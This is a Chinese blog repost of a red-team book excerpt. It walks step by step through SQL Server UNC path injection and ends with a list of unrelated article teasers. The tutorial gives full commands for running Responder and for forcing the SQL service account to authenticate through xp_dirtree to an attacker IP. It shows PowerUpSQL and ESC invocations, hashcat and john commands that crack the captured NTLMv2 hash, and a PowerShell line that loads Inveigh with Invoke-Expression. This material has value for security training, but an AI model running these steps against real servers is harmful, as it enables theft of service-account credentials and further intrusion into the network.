SQL Server数据库UNC路径注入攻击

news2025/1/21 18:35:16

点击星标,即时接收最新推文

ac3fb75a821b99b85206c15a00845711.png

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

  

UNC路径注入

如果我们能强制SQL服务器连接到我们控制的SMB共享,连接将会包含认证数据。更具体的来说,将会发起一个NTLM认证,我们将能捕获到运行SQL服务的账户的密码hash。然后我们可以尝试破解这个hash,或者进行hash转发攻击。

要强制SQL服务器发起一个SMB连接请求,我们可以使用xp_dirtree SQL存储过程实现。该存储过程会列出指定路径下的所有文件,不仅是本地文件,也接受SMB共享作为目标。

如果我们低权限用户(比如上面的dev\dave)访问数据库并执行xp_dirtree存储过程,运行SQL服务的服务账户将会尝试列出指定SMB共享的内容。SMB共享通常使用Universal Naming Convention(UNC)路径提供,格式如下:

\\hostname\folder\file

如果hostname为IP地址,Windows将自动使用NTLM认证而不是Kerberos。在实际测试场景,如果xp_dirtree被移除,还有其他的一些存储过程也可以用来发起一个SMB共享访问请求,具体可参考:https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet

下面我们介绍具体的攻击过程。首先在kali上运行responder,-I指定使用的网卡,如果不想跳过先前捕获的hash,可以加上-v参数:

sudo responder -I eth0 -v

然后在域内主机,以普通域用户dev\dave,使用PowerUpSQL.ps1执行UNC路径注入,-CaptureIp为kali的IP:

Invoke-SQLUncPathInjection -Verbose  -CaptureIp 192.168.3.104

023004685afee6bfe21f106fcc4285b1.png

使用PowerUpSQL.ps1执行UNC路径注入

如果成功,我们将能在kali上捕获到运行SQL服务的账户的密码hash:

5b99287faeb1a3c1f785d695363c6fb3.png

responder捕获hash

Responder获得的hash是Net-NTLM或者NTLMv2 hash。当使用NTLM协议认证时,会基于NTLM hash创建挑战(challenge)和响应(response),产生的结果hash称为Net-NTLM。

我们可以使用hashcat进行破解。hashcat主要是利用GPU的能力,因为在虚拟机里面,我们使用--force参数。此外如果虚拟机的内存太小,也会报错:* Device #1: Not enough allocatable device memory for this attack.,此时可以尝试增加下虚拟机的内存,4G时可成功执行。将hash内容保存到hash.txt:

hashcat -m 5600 hash.txt Tools/pwd.txt --force

9b4a2bcc066e55f2749e5528edde8287.png

hashcat破解NTLMv2 hash

此外,也可以使用john进行爆破:

john --format=netntlmv2 hash.txt --wordlist=Tools/pwd.txt

16db6c5d70a20de519a0f423e58d7c8d.png

 john破解NTLMv2 hash

需要注意的是PowerUpSQL每次运行都会从github加载Inveigh,如果目标环境不出网,可能运行失败。我们可以修改脚本,从文件进行加载:

# Attempt to load Inveigh from file
$InveighSrc = Get-Content .\Inveigh.ps1 -ErrorAction SilentlyContinue
Invoke-Expression($InveighSrc)

此外,Invoke-SQLUncPathInjection命令会自动枚举域内的SQL server实例,然后对每个可访问的实例都会执行UNC路径注入。如果我们只想对单个SQL server实例进行UNC路径注入,可以使用另一个工具ESC,下载地址为https://github.com/NetSPI/ESC。这个工具第一次执行EXEC命令可能会失败,可以多执行一次。

首先使用discover发现域内存在的SQL server实例,然后使用set命令指定我们想要执行UNC路径注入的SQL实例,最后执行xp_dirtree存储过程:

discover domainspn 
set instance dev-dc01.dev.ms08067.cn      
EXEC master..xp_dirtree '\\192.168.3.104\test'

4fcbc89d6208ff9274d98d7fadbef328.png

使用ESC执行UNC路径注入

—  实验室旗下直播培训课程  —

1331414685cd97ad3403e9494b8f16cf.png

0868f6bd2842c2b58f4e9bdb5ca9e8b2.jpeg

f37942ed9ee027f6dcb84e3b65dd175f.jpeg815af80bff4b8ed4a13e9205a2a8df28.png

ce15d7f49443160777327d08242f0280.png

d6125d493e7838fb6c08bf07ef9c79d5.jpeg

298959e9b1f157e5de2d7228a0e8bb0f.jpeg

5aab44fc55f6b17e63773953d6a5ad17.jpeg

e519f10017170ed466ebbe09135059d3.png

和20000+位同学加入MS08067一起学习

93e5fb87752d99389cfc932660ec7b8c.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1789782.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

词法分析器的设计与实现--编译原理操作步骤,1、你的算法工作流程图; 2、你的函数流程图;3,具体代码

实验原理: 词法分析是编译程序进行编译时第一个要进行的任务,主要是对源程序进行编译预处理之后,对整个源程序进行分解,分解成一个个单词,这些单词有且只有五类,分别时标识符、关键字(保留字&a…

【实物+仿真设计】智能安全门控制系统设计

《智能安全门控制系统设计 实物仿真》 整体功能: 本课题首先确定整个智能安全门控制系统进行总体方案设计。主要包括按键模块、 电磁锁模块、语音提示模块、人员检测模块。按键提供给用户人工交互的功能,用户可 以选择输入按键的方式控制安全门。单片机…

民国漫画杂志《时代漫画》第39期.PDF

时代漫画39.PDF: https://url03.ctfile.com/f/1779803-1248636473-6bd732?p9586 (访问密码: 9586) 《时代漫画》的杂志在1934年诞生了,截止1937年6月战争来临被迫停刊共发行了39期。 ps: 资源来源网络!

市场凌乱,智能算法哪种效果好?

当我们在面对市场波动,个股震荡,无从下手的时候,不懂算法的朋友就只懂做t;懂算法的朋友这会儿就迷茫并不知道选择哪种智能算法交易?今天小编给大家整理一套性价比高的,适合个人投资者搞的算法交易&#xff…

【SITS_CC】卫星图像时间序列的变化字幕(IEEE GRSL)

摘要 Satellite images time series (SITS) 提供了一种有效的方法来同时获取地球上观测区域的时间和空间信息。然而,传统的遥感CD方法的输出是二进制图或语义变化图,往往难以被最终用户解释,传统的遥感图像变化字幕方法只能描述双时图像。提…

湖南(品牌定位)源点咨询 企业如何选择品牌定位差异化调研

湖南源点认为:精准且占据消费者认知,探寻与消费者共鸣的常态化品牌定位调研是企业品牌长远健康发展的基石。 品牌定位里要强调品牌的差异。英文是point of difference. 这个差异点就是强调品牌能带来的利益(benefit)。 这个“利…

C++编程:模板初阶

目录 一、泛型编程 1、通用版交换函数的实现: 2、模板的引入 二、函数模板 1、函数模板的定义和使用 2、函数模板的实例化 三、类模板 1、类模板的定义和实例化 模板是C的一项强大特性,犹如中国古代四大发明中的活字印刷术与造纸术融为一体一般&a…

【学习】测试用例设计与执行的黄金法则

在软件测试领域,测试用例的设计与执行是确保产品质量的关键环节。一个优秀的测试用例能够揭示软件中的缺陷,而高效的执行则能保障测试覆盖的全面性。如同璀璨的星辰指引航船前行,以下黄金法则将引领测试用例设计与执行的过程,确保…

uniapp内置的button组件的问题

问题描述 由于想要使用uniapp内置button组件的开放能力,所以就直接使用了button,但是他本身带着边框,而且使用 border:none;是没有效果的。 问题图片 解决方案 button::after {border: none;} 正确样式 此时的分享…

2024 年该如何利用 MidJourney 创作AI艺术(详细教程)

什么是 Midjourney Midjourney 是根据文本提示创建图像的生成式人工智能的优秀范例。与 Dall-E 和 Stable Diffusion 一样,它已成为最受欢迎的人工智能艺术创作工具之一。与竞争对手不同的是,Midjourney 是自筹资金和封闭源代码的,因此对它的…

Java并发核心问题以及并发三特性原子性、可见性、有序性

这篇文章比较长,请耐心看完,相信会让你对并发三大特性有一个较深的理解。 1.原子性(Atomicity) 1.1 原子性定义以及理解 即一个操作或者多个操作,要么全部执行并且执行的过程不会被任何因素打断,要么就都不执行。 一个很经典的…

C/C++学习笔记 C读取文本文件

1、简述 要读取文本文件,需要按照以下步骤操作: 首先,使用该函数打开文本文件fopen()。其次,使用fgets()或fgetc()函数从文件中读取文本。第三,使用函数关闭文件fclose()。 2、每次从文件中读取一个字符 要从文本文…

康谋技术 | 自动驾驶:揭秘高精度时间同步技术(一)

众所周知,在自动驾驶中,主要涵盖感知、规划、控制三个关键的技术层面。在感知层面,单一传感器采集外界信息,各有优劣,比如摄像头采集信息分辨率高,但是受外界条件影响较大,一般缺少深度信息&…

谢宁DOE培训的奇妙之旅:从陌生到熟练

在充满挑战与机遇的现代社会,不断提升自我,掌握新的技能和知识,成为了我们追求进步的重要途径。而对于我来说,参加谢宁DOE培训,无疑是我职业生涯中的一次重要抉择。这次培训让我从对谢宁DOE陌生到熟练,经历…

csrf漏洞与ssrf漏洞

环境:用kali搭建的pikachu靶场 一.CSRF 1.CSRF漏洞简介 跨站请求伪造(CSRF)漏洞是一种Web应用程序安全漏洞,攻击者通过伪装成受信任用户的请求来执行未经授权的操作。这可能导致用户在不知情的情况下执行某些敏感操作&#xff0…

【python深度学习】——torch.einsum|torch.bmm

【python深度学习】——torch.einsum|torch.bmm 1. 基本用法与示例2. torch.bmm 1. 基本用法与示例 基本用法: torch.einsum(equation, *operands)equation: 一个字符串,定义了张量操作的模式。 使用逗号来分隔输入张量的索引,然后是一个箭头&#xff…

38. 【Java教程】日期和时间处理

本小节我们将学习 Java 中的日期和时间,日期和时间在我们的实际开发中非常常用,例如用户的注册、数据的增删改、对敏感信息的操作等等都需要记录下日期和时间。通过本小节的学习,你将了解到什么是日期、什么是时间、什么是时区,Ja…

ru域名如何申请ssl证书

SSL证书是一种数字证书,通过它可以在客户端和服务器之间建立加密通道,保证数据在传输过程中的安全性。对于.ru域名来说,申请SSL证书可以有效提升网站的安全性,增强用户对网站的信任度,提高网站的排名和权重。今天就随S…

计算机网络 —— 数据链路层(VLAN)

计算机网络 —— 数据链路层(VLAN) 什么是VLAN为什么要有VLANVLAN如何实现IEEE 802.1Q 我们今天来看VLAN: 什么是VLAN VLAN(Virtual Local Area Network,虚拟局域网)是一种网络技术,它将一个物…

clickhouse学习笔记(一)入门与安装

目录 一 、入门 简介 核心特性包括 1.1 列式存储 1.2 原生压缩 1.3 向量化执行引擎 1.4 DBMS 功能 1.5 分布式处理 1.6 高吞吐写入能力 1.7 实时分析 1.8 SQL支持 1.9 高度可扩展 1.10 数据分区与线程级并行 1.11 应用场景 1.12 不适用场景 二、ClickHouse单机版…